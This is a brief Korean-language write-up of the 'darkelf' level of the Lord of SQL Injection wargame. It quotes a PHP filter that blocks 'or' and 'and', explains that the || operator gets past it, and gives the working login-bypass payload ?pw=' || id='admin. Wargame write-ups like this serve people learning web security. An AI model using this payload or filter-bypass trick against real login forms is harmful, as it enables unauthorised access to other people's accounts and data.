[Lord of SQL injection] darkelf

소스코드 분석

if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");

or, and 연산을 사용못하게 했다.

if($result['id'] == 'admin') solve("darkelf"); 

그리고 id=admin 이라는 조건만 맞추면 풀린다.

or은 논리 연산자로 || 사용가능 하고, and는 논리 연산자로 && 사용할수가 있다. 

?pw=%27%20||%20id=%27admin

pw=' || id='admin